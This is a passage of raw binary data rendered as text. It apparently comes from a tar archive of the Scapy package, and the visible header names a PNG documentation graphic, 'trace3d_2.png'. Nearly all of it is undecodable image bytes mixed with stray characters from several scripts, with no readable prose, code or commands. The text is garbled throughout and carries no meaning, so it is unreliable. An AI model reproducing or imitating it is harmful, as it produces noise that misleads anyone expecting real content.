!BO:3qU[솑l_뵰8L3Fy`^bC#Nmc#uYMC7G,B!uXxqǽӸGvi0cYvbVܫw6};}̫{.jo1$y=ඛB!]:ع%s0] 5AoZ,A\vنX=V ZKlCb_-tBA,z9#RǺ8Gz}#y3^Yz1mvS[pDю\u%z-r[!oGJzQ^kq>#{EZ5^>Α}zT6Cek:Wzw!J['#"5"'m#sWC}צ+ +"߉|CO7O7FZ|_Kȕbo>v"):ꪮ/W/|<"z9ZC-rZUt=$޷+ȗ q fhKE T::hQ;זic@|3CKD)"˪]\o-7{Nt<.d<ЌVZ"Ո|N!PD^lJߪy_-ڇrn1ѿ;P_R_Yugu5"Mԥ͇{4lD!sb]S{<$˕ůj8C+wQtƷf=$-/,zw^^OP4ZT#Wfծ2[f+R4E䉺 V/rז"/U\EYzHR/2~Ŵ>fߚm!r)E^KuEdB~>z*qbuo'>teQOTgVo=j|[,}aWyǻ̶mFtZ:D'YxA-KQ@{tbQCv*zB+䗕Sc =vh1dKN]!Vr*&R~ !%L{xBѦtf#͞4*1 C`1 C`1 C`1 C`1 C`1 C`1 C` 7gt ^IENDB`scapy-0.23/doc/scapy/graphics/trace3d_2.png000066400000000000000000001714011320561231000205120ustar00rootroot00000000000000PNG  IHDR )Ġ8gAMA a8tEXtSoftwareXV Version 3.10a Rev: 12/29/94 (PNG patch 1.2).I IDATxyG]>'}PȌx 0鋶͵mߦSHHB a(F&dGD;sF@$2霳^GU]k?]^zkկB!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!ia݁=*`N !2)TH1$B;0kE׳kU1&{tf#uB!+BgU|ԍOz;۬C"BBc"1`fuc'B|X([8TO~:ID(!ٱ I#3y64t,6T d#Y:'BRR CuFCfχLT͊3B CZN/E!ԙuQPJ6B!sc\jUN!6KhT~k3+<B!ƌC"BTHB!)THB!)Ui4B! 8B!#B!<$B!24!=$B!2:4!=$B!2"4!=$B!2 4! =$B!RHBȁ!B $B! CB!Ԁ!rD!BAB!|g叶8}=B!,f#_-`[($þsƄB!9pGh甆 vO6 3!BPH7wa l;@H'޴B!dAB{yTQxm+TK`8 \ BYL[$'M㏬HZ,BY! |8l) ܣ N.Y!2_VC8іC2F܈SNB9`hMk:ibSe%4?׾B!dᬨt )^ee6!rXEjomFֿXgΣBYVQ!15IXuB!)biG\kYTϣBYVN!ϼvQ7uEF4!*fjo$Bm $"I${йy}w%YEYGX'r(IB3872h_#gͮ $BZB!I NBJN>pnמ7 `YZg/&/V3^?VB~duR[HYyd5E)>kt D<[< Uֿ81T1EBVQ[-dG ~cw>U3#B!csk! I# |vUy[c&a"LB&TlGB,G'8V!B)n#AÁB㉉jYm{/? CBaERZ@y{{:ΛrʒIU'} \#B!yH!^K}-b}qT&Ho `Xi-d^K$BVZܤu$0@X f2J!ŠzH> kHoG۱n[GXE/=SdNKB9 鵑;_yNYۉ$P|W^AV#t_%l4Z%_E~!b|lXl ɓWHVp?}BaL&E!XiR ă:g++.Q~%C< BVUWHcC{FN56 Gu>@!}J!6'v|FvvnB!2C!9N mnkߧfuB!̕dR(ĽxL!qRJ?I@ꅵA*'Ji=hm:~SB!S,WG)#қ{EIQjY4!2;!'!u <$d8X^1a)!BaHTZȖTpK,Biv$/ր!2"THI"Gڎ8ZR߿J< 8u@"Bf J9<p#pTi*I7: B!d85bcn;$!?O|>R/i B!s !P [bh 3)I=шA7B!,TH4<GS;n5 ΨEHB|B 9");*;[Hhki#B!)$MxOAmR5N%IHBܠB\wMDMKZqIyu"BBJo[0jcKH;1JeЋ+EB'THY6kH-mY8iD!,/Y‰4W}n\2!X"!2g!U \Y-|u$GV$j B!dYTMqܣObiH7j6p'Wq !kj[V!h[쀻W5l=>!rB*{ch''SeB)THL?*-ӱ{y8{&D!*ɸhpÈpQ]ԍGEI'B!L ײMDju; $ T!25I eۉRS61BȬB"A'6rulY!A$CBTHSg3~EWVHRA > !rPB5H'>BTG$1F!*Y )D֤G֯1")W]~uH!4!{NjBZ6r;-JbpƢBCɶkIIHG[Kv|==;^/_B!+h $ۘ 'M%";G$BV *9`G$BV !͇_mNٔXցu/n;bmG)$=+!4j7 g<'6DB!# <@b5` c[1_ t\Sۿ|#.ж \5%B9FXm"wGsHHQ``#n6!2x)>_K4:FjֻGkFr'W !Ic8Pl*qpߺhd>pLBY9e'Wm$=J }K*_-D!zH0%DZ.J 2IID$YB\B!)&DoγbaI!%RB!cBil~ڰ-"ooW%IzBٷCZ8@˗8{t+Cl D!ZP!-!-cmCl$B!dBP⨓ e呭CpN!k"r*Hz% B*4Q ! i9i ]NӮ~[]8o9x>B!daVrr͞p}JցԶn;= /q{\BY2!-'IRNiɧ{Ʒzۦ((&' c~K!,=C nN(pRn[m,q-6G$BzHKKKC2T'|8"i]o;z6D!P!-- )${c^mЎDj&yDN3=OI!,%ϛ(~[MQ6цk&B!AilPi#II&ei[ۊ_JA3gBAiiySHR6]ܫ F{ ֔l$B!zHK*RxǕZV ޮDc kmB9pClNhT=nV+&BV*}DIFЈk5H 1< B!{P!;NzB|GVnnZyDRM!8)o[bn, 9T*+@!VWH%Ӵ5yB!+j0^߯TH%yD!\V()UH@K|:g"BQ_9O~![V!s[%ڨ>0 n#b$ gˣ_ cq` 8+~m8p/ xVB!d0ʶ2t<~9 CIXdhY !C2u%ROJByWE=%@80B,a*B!AX~ਗGAsց#s}hB!d0ix?Bl,wGQ`+m'5p!BZ1jo=-!N NX6B!*B$U~ xG Hu "BP!M/PVH&6EQEM$#G8cG!fj$',l^њ/k+1BV_IN:hcWLjEjH+1@ÿ6yB~X[s ! Ҫ 8@N7AYM<;}~H -Zyⓥ_O~hB i:)=n߫iAn4!1nkw֌n5Px菊OZb~j=7B!+35"p Eڛ^֘Z{GҴ wZCuLQ>{4 !0{ ɘYGGVsko7{*Kb h_?GrРt^F_w5>5ZCM2qj=$278<ĉJP6Gv/bB|B:([$ɘ[-c w29X{1Xc⥘]]'-Vf!_u&ppXҍ0w0;O+n70U?XYx Pi}R@|QEfMTQ֘GIɻGA!/;TT G.зqU۪4JWg!-B!Kq?XkyDY!0J= :y$^P.QHVyܣjN\ÑeE8I@t,EBRAtp=tʮ[@@ htnqsZ6 ʛ1Q]H_'76K !s5ʜ$#FGL-qrF ezY{W)p-5skt#BܠB"KDnAH/ SQ8YX.璓3P(VY4KP!@K5BG;HmNp6h HBJWowCCI!M&dr\W¨7 ݥbK[䒃Kƒ@4Uچo->6KP!5TH$KI v@jm)R*yԚ`nG˲S;"d!ˑTH̡͊Ӻ#!*$R&p"JqFrZ<7/"#˝  :!dP!j6Օs#4JJ呞Xn< N<_5(\ C]/IO*$2*mTp(2K5 mBp!Q)IzW+o|^#m%)[e'a}7Θ0BC"L7s#9gw6!ZP!1ڨoJ ں;ǷvۉQ;tmmrP +'EwHRGWb{Wמu ͧš-LqK[zP!ik $쩢;liwoP7WgKz%suJrao\ -)ĬՒ+`]_Gyvhjmn4۳ %{i5NȾ ͟Ou&nĶ[n {'֘_xW]5[>0_ WoU4[J'uBxɢKP~eQw_Hf'\:IdB"l5쩐7wɽe\ HۛZeE sJ#%˲l[=j1t}ȢzRxMYa_"mMi։+k;j[@'Nv'`,=6!}F:76Gb'>}u澥 N2<%jmV_,z[}~O&N\5/E -p"WV0뜤~nю?ekAi<6&SH7CxGv-ZjZqbInoOk*?:Vg7ϭ͚icUˀ IDATꎕrQ!ՆQ626qo2QZpڍrI^ȦCld͕s.}|K-N=aa}c<7"Z0bP!i )QE$ٺMo2 OZ(:z&(뤿v%[ՊG{qm\~N$ٮ,<&5WQeWu>0ꭗQ(܍dF69LۀQ1S'(I :8\r`KmPH ^*M[YA!"ex&ɀ%K2 D'cEs?3mJ)K&*%`z6'{}mVT,%24!ip\0d4m# /uŽ2IzC_C9~'N琷mom焑^es\N.͂Q I ߷\8Ɋ o6+Buf#$_ T'd?q217G~fiR$y #I:m)U$i{.oI|3WJ9 xT1;JӇ[_ M)t (!HHȐb]T 8')=Alq`wQDӼ$N.#im1wܩ.ۊ R'9Iڒ}CJBFbՖy%add^J {cS>wKNS%0NB4L9[|)697%h!*#"u$Q R!LՎQ~7dQK [A.xXϸ=#m$$Aˠp&kkG!IrpJ&*/BNRVPEfq2|}}n$ $Z@7Kމ#{a}{@ʆz^%=oxܯP5pg %C/Sʹ63NdD&@K"9MH Rb MKtDox!Ac1D83bgLg@8G>TbmؙfҍKD!THd¼B-J*ݕPB:w8N oet--Rw?VHq~-0 B%*W/ki*m$GHyTEuERk#}16K'azH!*$24&h)CfK'V$Y)HZ{)mIg}8? V6EN-`Z .lȯBү{ 9[Яx9ivAJtȫ~ s(˷ 4bVHqERBͪJS$FȬ,]Lt9,(BTHdqQ;IB' FiӔBKE@3*U[NR႓ɣ]UXW!D(P,[댒]w,BByn/Gi<Ϻ͊ɕeFTH]f1$diB"ЋgpBNZw_+KNTyvO\[_QG)@$ $B$GNEs̞Bm#ă1 I9m#UتQ|E,pxX7c2sk䒺D Mz\%P! 8x$k٤1"kHXZy=`=@@go7I=zAA_T0dW! ((C5:Qvt1I(7"l<'jhi }mf.'{q:M2THd2z9/$VEMBb01KW^tqyU[JyԉRk^!DҮ7SvtC!2ڤER/Ccq߂s&x(@xȦ?W R݇K_}m.g^1JBD,'KTa bww|/Q0yǀ{f(]Ж'Qb#mu Rrupx⊑N 3l3/.td2@K1 k>&}VחU}.OD&;W=` 8. lR8 IΟB\B"S2 ^$Hgm1arVı6xyk^rD)GD1ĖHT?lKn$|o*H -Jujvo/OߡB"^v@ǧ m%9;wLH^ݟ h jɣUdZW*nt11`~AHό'THd!tQ3]**9Gӫab*$}lK@Cmb_-H1/pLej޶V[*Up CKRNN҅yJ_}m.fSGRBٜj(;ג !/̳E4F۹x:'>lHiwnڱc;Nä_GMLr:鼺$T6K7_/ T.vmt#BzHdQt$/R-iJ['O?ډy,L/IN텭jE: HE̛Y̻K&!s ,Z/ y _o#j ))ݭD>+>l$Dɷ!/:83%!dP!EjY2%(y|:I{sWH$wk(tb 4|¨SK2@(H/!E#Rߧ= ! yHddz֘e}H?TQn &Y2)Н8c6^gH2e\7㼫N" B!^uW{؀-uuNRj8> w+# ksoϊׁ(0ze !;d"}M% |uOO!àD0%7;1C7jUoW ``Z ;kٓD-9D6$92k(rݯ{ %';~a ^D>xBF ,?vFNif0[_XMǫuҚho7G;yY[l=$I0lEGcB@ƚAMSDž$Ga􁾵 +p:f~%$!SQ6p:>$vfZZj?Q@Jp" Bh!^M1gClDԒBVt/NdZf?~n&1AvwxQ6ko0SeW*&ׁRRf>mn4!>!d5B" '{MGsڨ-țLʭ7cO.ɣ>2Pɘ3}MHm>L  i 5չTKڔ-O1ta,MqM\Wqq`K'xԺ\bZxۄ9lWUiCy x9;IH&*#-:BIZ8O<>ӛr[N+gmV\LXUAd5'P!%c[= G$F{'i}Btw-̺5R ^Wt Vh{IZYԭJ#k{Y̭7 K!DZ$%֨w'diB"Qfy,I| 82I {Li&tddt !! ㏺&BG)HHҒk eW,0C,aٯL~QF3~@Dm!K*}YuݕF($A!8QR2;8\W~" ˤf/[/Re~1!$&Uzrqדt,]_۬UP$YnAJ)&N2~W22 !6M6t%PHa2]~mJ1+1?wB|2?1'vj^\`:Ε8*}1DDV *$4hIIͼn-#ue'N@HIHP )!IW sX;u(k urSA4Bj,f%lB9@DF%y$JG)$-kxp]iy3:"VJB {Ț<^B%{η7xOd}_v $$!"3bTHd9#-*Q".۱4y~bp~VZɷi lxERЕopщI RSx2!P!% +[>Y/̿2xxWsYGS.GID% ޝ׵Ew8,џE%h+%WlhBY|ߊbJfլ4+#ӍW-Z9m?ݲ< ">ʛ*iǑc%կt}c/#TDbERz*itq>Uq9P!% Y-Ԅ֊i 7ڈ$b,Ic&IB$A Nrx*pHcI+(V1hFc4}k1?eSņnkp`}65ٽΞbskt>!dB"K@<6i(k3`khkm:V?dέ-VBE:# 5a VY렛me Iщjb{%[ vd *6(\uΘM vѬۜōFBaF^27pv.)YW^NqZF9 HC%!A.d H2ҫ;)56R%ip )ȠD c 2PگoY{1z6 d-YYLQ9!Fr0ŵ$mhp"7ԕD(Tz|l:p8((I$T_+5";}JUMԇW^w/?~A0c{Ha`SyׄyTI`C\79ŇVHΖ)]ٯx5r`B"y3 ҫ7=әF:h4|qj8"#yZM:jCbA0)]IHXA+-!=٘Up..Wc5A"\{Q֎iQt۬P$YɒM߮0FX^, -]0Fo$kִFHRī~A a2KK\0NӋ׊7NQ 89޳BA IDAT L& !s , M*j&İr[6DWFIQ/G!$~f(kH:^'%6 a(IٖIZ*Iy$ݲj7B"e#˄F BwԱ`֥{WHhLӏjUj uZ˭J;$ɢEOClN9[%_ D $30z6$>2i`7ȧ}?,_=yFpmcJ'I،HYޖ+Q!} 8U"csSaK%'A7W$IZ2*$dI z;t܏x7k'+ʏebQۻvxu/I5)dtx; JH7*H$CÎ !Fq9p_)n v>'JIGO+!fScFR$5u~l i=TJ6r:<$33a&i0,(=POR3 I!UP!+W=mo`UYɣ̬7yQ#|FJKIH(Zd_B MV'-H Y{1O">gkoJoi*XUu#>?.}k*Nfb \V*~ewdBDM~?n NX>=qNu!e;C`Tg#],*^y}7"ER$_41 <ĘI١dNjD(ko2(uG'r$zgF%O}BȾ ,5! ),CW֣Q5RQ@r2( 7-`+W\ i3v+r3gDW5kH[{14F ɞemʖV^l*$)_Rŕ W/)ۈ{= W\~&O4ܮA7Skc(TQ_H"@.Ic"ȘRP-Ce6]Sls荴$>#*]2n!+ Y^yӏ7U~N<ްT 5^lmCw5.#U^9aI21'4 ]p[+ڛyJ6D{/36Kcp3LjQKUdyIPNyk0[; ^}:6VNXi&j,Vx_1)$-(sJ/BL'Id?YoƦJiU dmc3-t#=VuKTFYQ%#K2p ɷEI?Ev~ X (,ۘ$HfrH,ԛ '"c =$kḷ )Y{1AI#6ko1LjBt+.Z}CD Fb&wj'u7>q ͅ`Dž}p6jǃ/H%36߈Fp*pcl3Hd՘`W= V{>Duq\Z5466Gc-tRF협MV5EqX݊<'!w"#v!ijJڨ#҉$8~I'=ڗ?_oTNwF~$pm7T_JO ե4͊@UḮ>YcǦX,[$鵑ttdxd7-Q)^Կ} .+Bl]i""k*kk'6DmhUL2Je8jsdIl ۜbJ,Ug"3;9yR:@L$,?I ˣ5 RI'ul^!. "? -vˊ$[PH|ʣ.H%$_,qX*QT!;ג9l^!07s';>E?x\柴3,H2@d`.:۹ ߷-S UM nPGі*BJ 2O-!tشۑN޾的ENRBC[l-#e~ 4On!H}IіNP;oL.V"#y̾VxC"Kײyײ Z~ ۽9$2s'+I:+gliul5?ݩgEX$da}'666z?4ǧvڲ"l๣6򈐥k|KJӼLv s}XGulaAN$Q3-L0L$MeYmX*c l?[w@9P!9E!J~?0U G/3-59'6ŒjEe&J\ \!b޾rL*tRGOʰcw{@"dB"sBf!<ss@'4ɾ#bF7BC293I"2$)=&p# CRv Bpti#0́jyYj^/L+O;*G lC?kZ$Kda1lR'qu)&!K=$2Q܁غ(@BnO!:)dE@)ٱ \P6_JN.N4aϚSB =$2TTH*$P,IA?BJDR!e_en-kP_%o+ҀR:_JM]3Dohve+AeF!zHdtĴTRH1L%$ɕI d˷RiT+2K*vmJ!`PF oWlN I2?N|+;g©ދS|k72[g&j|GHH<$9KsB*u FoNT"eµIaѷ] ),iLK Q!dh2ہ# BD怎ntD!360yrl ihRP\鷁kQUlKH%<ʋNgZ)~M &F4GP!9"?wcANTC qh,gf)`X$ȈUZzF:+\ʣ0$DRI!o++Ȇrt:!deB"Aebv;a<` 8/JtRؕػMG߿͒I/`H D!|Ǯw()ua0zX[v:y%CƏ@"d\xFYց5`=>%Y/A')M~_Œ6p aj<[JV^?6l|lB̽/[!;'r,K+2\5`XWqB"dA̍Ruǀ&ˣdL=o X༽b>7ͻ0YfP6RVUNAAlltӀ 'D$*>H7()I(wX2O~0qKg{H¨0i+:/)d|7 Q<+g =K$ *v4 X_5B!'i ja$Wj^ obq@{{FL}kID5<uf #R5[J0%fWp{7#~ l9+f8F!R*ar.SuZtr4(97[+kwyEN%SIRT.!گ{XLc2RHp4d8phċJ$2Qb Ygd$57HlՐc3:>q ݭOw5%( u&Rns!wr'o`@ n~ҹ6aB^tXP@HlBHȜ 79FI,;}~jRiO)|gzr0Fem:$<]qXb !v&|ÒU~r T}{yTͪkKOCDϥE/QViIˣɸF!Nx c?cV$~M ?ZЮGA75t"QQNBQ ec[)&j2=oKTHd!\ \&h$FDI|M::AATiY%DR.-"~$UQrH)31JIH:HR?nH6<A! ~5ȣK ǒZ*ekSȄCD5'syq3g emzRH利OEH_FoN6yvHr-MoE$<$ڥ>ʊjo3GoQ?!5SY8nF?QE72JEz-YGq-/(pa%c3~$32ߖ-7KJg')}q<W"!~-@j|-9-XzoI5Tࢩ>;!d:p-Y~)dR6EU8o%Yц;oY8VGB9- $GR%̺_Z8ZJ~T,ܳuoɅlϕ vZ򶫴c"zp6ۖaU$!$Y~RV!6(X7$=$)locYF"UKZLqY!A] WQ8ާj(HJf84G&L !%Bt;w%LWaĬQyINe )e wLW9o29y(}Bzbu$g_W $+VNN%ƣΘB&Yr:%637OMd.+_H\TL:$*_G+Jfn=]ZLJB:ML&d頇D vQ8h*Kᜇ+ᯕ׬%]Jddx~A kրwhqX.!m$B zHd sRS;;maR5YW YR#pb{B!5WA$iPE-PCJwrʡK.y&L>w^ Xi[VGɷAF?7L)!CDNm b!~RGX*[O%FaPQW}4D_rceO:ɑo)[ )%A46 d㸄<$\idfr$Hg]G- o7v$iJ]?<VJI-8o]3I[E>\ !wH^ ҏU~#{bg[ei[0kSMW (hvq_+ZN^ 9)&^bɘE!kQsz4c(z`իv=Dɓ -j 0p~SC՟tڴTJa6҆ܫs L焐@dKOȣڑSK>IRL9y] `r%:)t<`d5oz"{Sх*j2"S-OzG#)LKt~(/IY %G<-IqoiT;Fx[Ž&dVKDv 9p~'tcaԫ1kǮGW>z× y]Y.Iv"AM)&oxXWFY-PFŶݯ!zH,>b{D&|#%5xJб_VK Lc"X:d%|?} F4Ѷk)ZK$Y*(l+ Y.$G)[5]A[Xr'zy;~V7}Oo Vsg8Zu#߱El ɿ~%6*N9No灱?'{(Yˋ }uXU+?V(׈OrA/|jty^4c +ȼ>J]uߐPg2!$iM{H2qh`C3G]i II''H5\_C=$0!rQA;@jl)q*lv\& JhOϛǰ '0ʷj?V:+:E-ZqH+A/sEmZI,|JiA_N 8!d C"?:IJ[Ѿ dKHccM[H0e2b-zM)M{TGƣG?y"pe?Fڸx?N9JTr!K=$O DMNarlUE@*yHV̝:]hf:rE.NeHM~MUN.x%_Y d5KYRȾ*`4kby8wE2U#-bWW&vHVZ9jiq pƉĨNrLj D "q"IW5Y86-:&YV?Ij#;UB4aNQ~N-h먅ܲ 7MUMW ѯQrlNT˯NTHd%IWGvdЈ}gF3ڣG0ܬl݁$E:ɔ "i}dR}rf}#L*$k:M쓲zR6Sh_+R6$jRdlI_ IDATDޓ2wʣN8/휥C?CFL1Ҵe3(+ %.jWn7ƣO#tl)OP!ˣdVH(@]Q5gKEkaLT$(m\]ʬH q>x>g$OUuˢvT/FTX&h4 Kckƻ; *""rsQ`EdwfgN3SR]=ݳ3WjzzjF꽟9Eq,8rg0 3F2s?72$|}HN1 Gl=vmtvQ؝VQ4eĆ]z t%>#PlmB q f31k>CrZg-1*)qjz4=NЫ#Zִ7M6lZc]RO^21?%ri[XhgV o3$g`:?ٶ/v5s$YƆ06$fs )U\ܐ௲Bc[x_ǣ'Vޙ`7ezdtė4!PYg#JFVh'ߜE\y[-lgY3wPߚk%c%&CwN8gI]z80ף6)HTF3$c9#ېTbѓ&BH 3{>T Mz(,Ujdu+ohaHt~ w-kݑs*~l_:YXV 3o *!1TuZ%@hqޏ =JE@ݒX//'$ҎZnHDaC} 3ؾL [g% >E HLx?v2Ly3bT!E)VzuJRJS Iʁ!u-12$كv?@K4K#Nni/ AzgUi_Zꮾ),K|z}"1Oof`Y=^n':5!EdyX*Hm~2{,?:zK7/R$; ;ꂇ#w[ke{|lG~g |۫W7T(yy^00fctQiqM>fڗ!ir,p#yeeT#b H@ *gD<Y6Gͥ}%Nn.~"8;WyA˦h(* 3xأ$0uIL'I42YhBEMx gɵmr/7k0̴`CbltQIdYcGG(~YM /gyg#!pUi}:MeR7*oHrӣc +5d۶74otl)p vɮf~0R_k$mEr%؜49lX瓾,G)a} B [qq迺SvAftQ1FP>2iK P~RABuvI !AzA2Hv 3/aCbCtGUr؆~r}ŀ 8L-j+%UԶ2Iq!*F5֥/Ql66'#lH ӑ_"Urĺw\zYIZ7){ϭp}@3u@5uIѐbF ;>+.=2gNCJK%Iya TAWٌ MW4l﯆ -УOޗpl{j.Ҍ692('9*Q (--~MنLv%0y۾0r2$c}״3լM' ԁQ(}߶k6cr&֫9S}c؉k 38CbPR_۷SJ,SOQ]VOmFKx$iֻԣQ0} aCI}MGI&QUYwvU^rb-SIݶl2_3F2L`Cb $\HL?^O i|30%9M$]"w(0enav@5F)Q:aF$/WnR |,1R~ZHIwTrmuv T4 s03$0q^"Q&%^˞XٮhȀ{2ԟ!%@|Pפ*Ԛ)ee0H R_vU(qb'o)Q"}gM$π x5+AJRdR6VO(s0L`Cb$iK_}/\xs*Bb8ǛIs<OƁa@(I%4'AqQb>0ؐf1itˑ16 '7tGzl=JCebrUf=AFG?Ou$u$,¾0lH 3۠kutؚ9E$4cMyz䶊L=߿+WN:fz47X<6ey4/IqY 3ؐfvaԜfߛȸңִכnǑOC#)Icx<pmxOm~l$Z5ݚ ΐa6$mԚJFZ{*$ȗ蛤lIJq^\^+k͸IݨQc6ԈZCMypRD=1a!1e9 mg䒡II1@ yђ^sR3n#YVdz<[P[Ш5QGn'? pZ@#ՀKr> Ôk0.{zd/eJ n&;ۯuR/4FGۣQm52`>GMG h[R`PT܆Yf afz?]mMxYq&I^ᩦ9ۤ$OpҎ6ُQYXK$ P@H5 $EnDKl6']^'q4]&*kщ1$a{T^Y碋 >찯P}{{{ΘtR$H[<mͲx<+kC!L:ByVM6!h8ݷ3 {ؐfV!OV׾:@*r'0n]K%ܐG9)8k!M|ɯfR`A}J+k1f@Ц ?[Y[e L6$&1FQ ~Akqw.D-(6,Օ5GPmHN٨5nyWY0N޶td $mHXԕ; 0e!1`#QN=j+;`\͐}mEIhTr$iQ!EWЏkIiedLQHi>+RV5`H)c'Hu2Ss iйNYa!1̜F+]2Ʃz4TAP9C2kf5A{i!$_N{7o|!a8\ѭ t]&17<ɛF$taHr#QD3>ZW0$lH 3Ǹ\=OD&ĐJ&xU;1Ow \ED~K;xxԐ|ƶ1RV-Q|+#[٘Y@g Inr=yxQwk7<ppvG0,ME;b.ꚋy=?Cx݈?>]j]GsndY*F$Ea*^W'B3$^寞a#lH 3vz?"ZoƩΝ(Q&v1AynU•z' ŃtνP9Tm&WN,_4u0N3%J5?˅B4M4B|bvPؐH!%FI $99c! ͙RexԵIux6 u[!ťbؠ&Ԗ,Zhh1#_z;s' _ի,˲Ig}&Mi~evؐHC1:3$_qM5IXajTrCsKƐ{ڤ\@m:MO@t}MnGtYb3˖?&e[~ڵklb*s|FPHO:Ӆ_ZI>3aCb"Lۭ$#L*iж۴c- <9nI%Xm7%B) $R` x*m ~Aoog HP?n8!V#gx |~LroM吺S7]vBCڄ +'O>d!98Pe80 s Zjؿ1%݄$,H Pekq+, >^s'pXl=jPЕ]<Ai3w(6cQNe(۳y xBiPN&%gogon\~N1}3}6̠ a$uhd4$e2$@ڗkQT( kQT ( ߹ 7Ӽ\bEmOboqV˫{ƑC )OʊXRL}uTJң#mS-1HU >ٛrUWeY# uDdYw[|=5f`p0Lu>ϐsI$tը$5Xo-N֔: =Ԋ >N%YQYD F.8!l 9Y\1R-ӳԧG>k_KX~#8TQ%&9#f꼘0][H4C Im=lLݎHFG:IZ+[ѝԈ/VRNN/dLVd8OM@I׫8ab4&$_vJ '"c$ ~nl蒏DAs᪫2ș! o'e"uG]v'lH tŹqHF-ӤGa$f֢("T br8U!G[A@\M7!m?maX[U4,vnd,9jIjY*l9u 9+zÀO~+UɍqB `0\ec[ZY^?fqNH6-IGZ[ᷗ[~P%mԡJ>2>4u*kqߋ5}u̾OJДԺbݺuN 궬拑4voosR 0ݲk ;N-1Υ =ݏ> Kc,u=.{ȀSZVD[]K"IRE@ a!y 9Gzv9 euV,xR F)#>$)(q椘3$av` خ#ʱJR2~Gsv Q< c;KӊN)+RV09R>6m||6r|wvL,y2z¾mYGN-OlM#]֧A(ԣdY~3!1 3Zʓ.3$Ê--&EEResFJIIZDBV%b#R=@_HI(QIݰQ/rfŜz\ީ6ȪUKibn$ %裏I13W7"O=HԀl\m'4>qR{H'._!!)@Hsc2$/iE ~[ybRvͧ&I8GdhB.l-TӠ<Š+|i؜U6%Ib5)(6aCbf:l,@PflC rJr6QIJQ֎߼zҵ9%lu`4lQTzՇdgХ$ɸ;DO@6_q kz{#}7 !rCʲVi7IGreEgflH M'U)w4C*I^XJTÄ:;8@Q2~v2R - &sJRIz1`F/~Kzd'XI$HI8E$aA@Kl5*/tBoOA`Cbflś<=:v7[꠱mɇ*#1{ܥ}[dgjkn*In];[PHC PF%%6#I*7$ MEN١`CbfrfWI%%i@,w}]s3zwp/,G5MeB-FiꓒlrGiQ|aRL+kiZ=C*OlCn>I=3`CbfVpвVO:8t W{V]ObgXL^#HSINVkE挑|]_ ]2CrV FcβDa8`"6$af'_"mG _?_8ֆ_T kz,ZIK dBKgU S$In|z+yT"ÍEΎYؐ]3 7ŝ!nTo4TE"">=UzQ{K#,Ӷ֣IU0zԖ2 ??u۳6 }1 ÐI#Zb+ovFǒ4WaCbfjJeT[^*[Zt,Wb*@IR 倰TRЈYz XKKc/(Ͳ4rH3C %gu?A#CҒD ٓKl*y9Yeoψq`CbfֱUMG:@ny|-Y"=~A ) 70$VxpT-QYàKș;4ϓl-gJ=vV$c?-9H?NѸ`Cð!1 3%I~GT"`g{}s/Vz䛹ndH `c_dyۈzYO;끧ޯgA 0Vez c$}:(:A)'juM1 3۹jݔ"GM՞:גּqrGgփ`ŠlRe4FjϤ=6-Ĉ?4d9)BC=7)cuy? Y ;7 )##n.$sa5hBwAȤv#zTU>ZQTDHW_}ugf9!1 3gDb*I2bJU9ϓZfy2Iֿ8 zы˲ 0< ˲4My{UOFMOn䮻IrѴɟ*~(3faf opug˻^-vq=ѳGNQ@" }yP[|y Izn޼ګcYfoۋ]SƠQN~zU N$tGΐa*x|52S=ާ=^;7EyFeyO}Di-Tb~72 )[0 }e'Ʃ9hhT;EE@I/{ɭBܶZMn֣M6ޒ/!1 TԚHR7ezӒ$_[ T|B!! d#<Ѝ5Ms#4$ϓ,[AApȋ_bCd[n2s0 y#+&r7~81]$0 gOP:3>"v$4J)#z.~/~aF͢$=m7ŽڪڽXA a\122`0!1 te1RJP!E!6]=rq\9]dh%!T[#@es0 n~f ξ챉H?jOA I$CJ ! 7 OzyN% \bcgH 0=d98zD ο|kۥ;L:@JinE1"(LA}X#YbKL6$a~~*[/g?R +n[ɬx-qk I%ُ#  ٶԿ4'&ؘ0 3 nG,gV?5wVLR]e4$CnpJڴ ]颃L6$a'FƊ% JHYNVv $4C>d InGxdJi5Pr'ۄؘ0 3FP+2|2-nRK?(d΁lҐgH'xC$lY_smwŚ5kqg:3'ʿ GKlTl 0}VpYM|zX|_K?^nm-w˱lm  >&-Iaa8/P\ 7S8b.1ӆfaG\2t7]6&sc 9 mh<5(0jVjz^/Wpݺuh;y0dI4BlbkeqC J.1]U6a>Ѷ$3Ls(6Sv[*@Hh6J6mHl:Fr֬Y`=1Gt?ؘi0 ' (-ʐfhHsn6 ħZuv\[*/FRIGĶf͚nΑtN=d?іt !Vw\a6{>#N&_!scvc-%*_OI/=\zi ĵe>_z}1_moo!1 ?~S!UN)~th%jO$eRHUɩG;""#=ҒtwvW\qEIøkG(!1 'l7/0Q$CI!M|4$9Cv&iE)5Z5Zbx.bÄQjFMc$"lH 0㘵[Rtl#9ň&_n[V݆5~R̵ 9%+a2Qv?|ڣKlC=$I:ꨮ a<[/Xk"*Igk[oɦM/IRբ>jE$ tB;]VAe2$ɉ\H.;T~<Dz1 D lR(v6֬k"rKS3-r=mbkZr"!DVZz"AFcA1,/WZG=RLHĦ$gNzV^_>3`CbժM}p#ۓP IĜ =rK]w=益 پSj$ޣO@gH=>>Kh λpZ)"z$ɳWJ$CRb^*A0pt$`3ѣQ%D#@DdDz`IzJZ=ud3ha(w$=O=5R)3疦I7[cc[oӍ7y!VdΛ7gƲ,s9NN.Y AApn޼̬3$a^a4P'E1iH$9>WEM2*2LLD""[虋tTutuQւ 4MH3)L8%SxS"$=[AQ4 B\|y 0LegˍRْt#ubBǐ fQ֦(4O ZIth$jaydyWO&+rA񏟘$)I/r_ TEd6FB/ !1 Ih|MHZ# )*~^\|?'@*JDBBJDDAA8}x _8*ߑNi|= 2  LD/K%vM)=26$a^.|˱m7eR"#8L+-ꑶ$k0É']TSu~жE7 ` 3@HCR/} {#9W@Z\Ė${" %ThO\iLCؐazE#uIS)j6n$FgFZ#%,b$o_mdkb:0,ZtHN<-YG>ŋE73T#iOz5l+΄DKlOH=ҞT"ISiHP$0& \wS1 WazE$4|ֆ  4Xwj ;+l'l!( dm#yYs}=[X6ߏ$I"9MЍAF=/H  )3$a^aI2pb4!I| _: Tk!a/?nxfH*GhVD0uc;!1 C2:fHAn,@MK#"$@z*^%KY WU."(1ܡFGrpqgH 0T҇*"#gZI:H7_@{, nԪ&UHrȶCIG:I2b$[pmG;FF;rꤘy0L$)&4$c7kvD 